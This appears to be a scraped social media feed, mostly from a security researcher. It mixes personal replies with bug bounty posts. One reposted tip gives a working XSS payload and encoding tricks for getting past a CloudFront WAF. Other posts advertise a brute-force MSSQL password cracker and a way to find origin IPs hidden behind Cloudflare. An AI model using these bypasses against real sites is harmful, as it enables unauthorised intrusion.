Alaa Abdulridha

Engineering Director @ SerpApi

[GitHub @github]

1/ We are sharing additional details regarding our investigation into unauthorized access to GitHub's internal repositories.

Yesterday we detected and contained a compromise of an employee device involving a poisoned VS Code extension. We removed the malicious extension version, isolated the endpoint, and began incident response immediately.

[Alaa Abdulridha @alaa0x2]

@dpigera @thewebAI @serp_api @gauntletai Amazing work! And congrats on winning the main track!

[Alaa Abdulridha @alaa0x2]

@GAURAV_FS_14 @thewebAI @vercel @serp_api @austintexasgov Great job, guys! It was fun!

[Alaa Abdulridha @alaa0x2]

@h4x0r_dz Happy birthday mate

[Alaa Abdulridha @alaa0x2]

@M0SC0W0 This is actually in the Netherlands 😅

[Alaa Abdulridha @alaa0x2]

@coffinxp7 @GodfatherOrwa Use burpsuite and delay query and record the delay time with the repeater. This can be enough as POC.

[Alaa Abdulridha @alaa0x2]

@h4x0r_dz @Burp_Suite Highly agree.

[Alaa Abdulridha @alaa0x2]

@anasebraheem اي مو همة دخلوا فلسطين وهمة يصيحون سلمية

[Alaa Abdulridha @alaa0x2]

@LycamobileDE We need to know what type of data got leaked!! Did the attacker reach our personal information?

[Timo Stark @linux_lenny]

I am thrilled to announce to be a speaker at #Dockercon23 . Join my session about WebDev with @Docker on @nginxorg Unit and my tech talk about Server-Side #webassembly. Really looking forward to it! See you all in LA! https://t.co/0jbwKXVhYZ

[Today Cyber News @TodayCyberNews]

👀 Bug Bounty Tips by Unknown

Bypassing Cloudfront XSS WAF

1) alert = window["al"+"ert"]
2) bypass () with ``
3) replace space with /
4) encode symbols:
🔹< = %3c
🔹> = %3e
🔹" = %22
🔹[ = %5b
🔹] = %5d
🔹` = %60

Not Encoded Payload:
<svg/onload=window["al"+"ert"]`1337`>

👀 Check Out Old Tweets Of @TodayCyberNews

#CyberSecurity #bugbountytips #BugBounty #infosec

[Elon Musk @elonmusk]

Doges ftw

[Alaa Abdulridha @alaa0x2]

Discovering the Real IP Behind Cloudflare: The Art of Manipulating the Hosts File

This tool/article will explain a new way to discover real IP for domains behind CloudFlare.

https://t.co/SroXbUMUY7

#infosec #BugBounty #bugbountytips #CyberSecurity #cloudflare

[Alaa Abdulridha @alaa0x2]

A new interesting blog post just published at @serp_api about how to scrape Yahoo! shopping with Python, Yahoo shopping is using GraphQL to return the data which makes it a bit challenging to be scraped.

Check it out!

https://t.co/tP8uzOTkmR

[Alaa Abdulridha @alaa0x2]

New script is used to quickly decrypt Microsoft SQL Server 2008 passwords by aggressively brute force from a pass list.

https://t.co/fA71TvXpQ7

#BugbountyTip #infosec #sqlserver #mssql #tsql #CyberSec #bugbounty #bugbountytips

[Alaa Abdulridha @alaa0x2]

Safeguarding Web Scraping Activities with SerpApi, and what is Legal U.S Shield that we provide?

https://t.co/fsZZJlligr

#cybersecurity #infosec #BugBounty #bugbountytips #bugbountytip #webscraping #SERP #serpapi

[Alaa Abdulridha @alaa0x2]

@PicturesFoIder x = 4/2
x = 2

[Timo Stark @linux_lenny]

#hack alert! We (@alaa0x2) have found a vulnerability in @ArrowChatTeam arrowchat version prior v3.06 lead to various critical exploits. CVE is CVE-2022-30980. Please tell people upgrade to version 3.07 or reach out to us! We will publish the writeup soon! #cve

[Alaa Abdulridha @alaa0x2]

@anasebraheem Using Hex editor it can be removed from the Image headers in 5 sec.

[Alaa Abdulridha @alaa0x2]

Last photo I took from Ukraine while I was leaving Kharkiv.

"As if the sky knew it"

#Ukraine #StopPutin #StandWithUkraine #StandUpForUkraibe #PrayForUkraine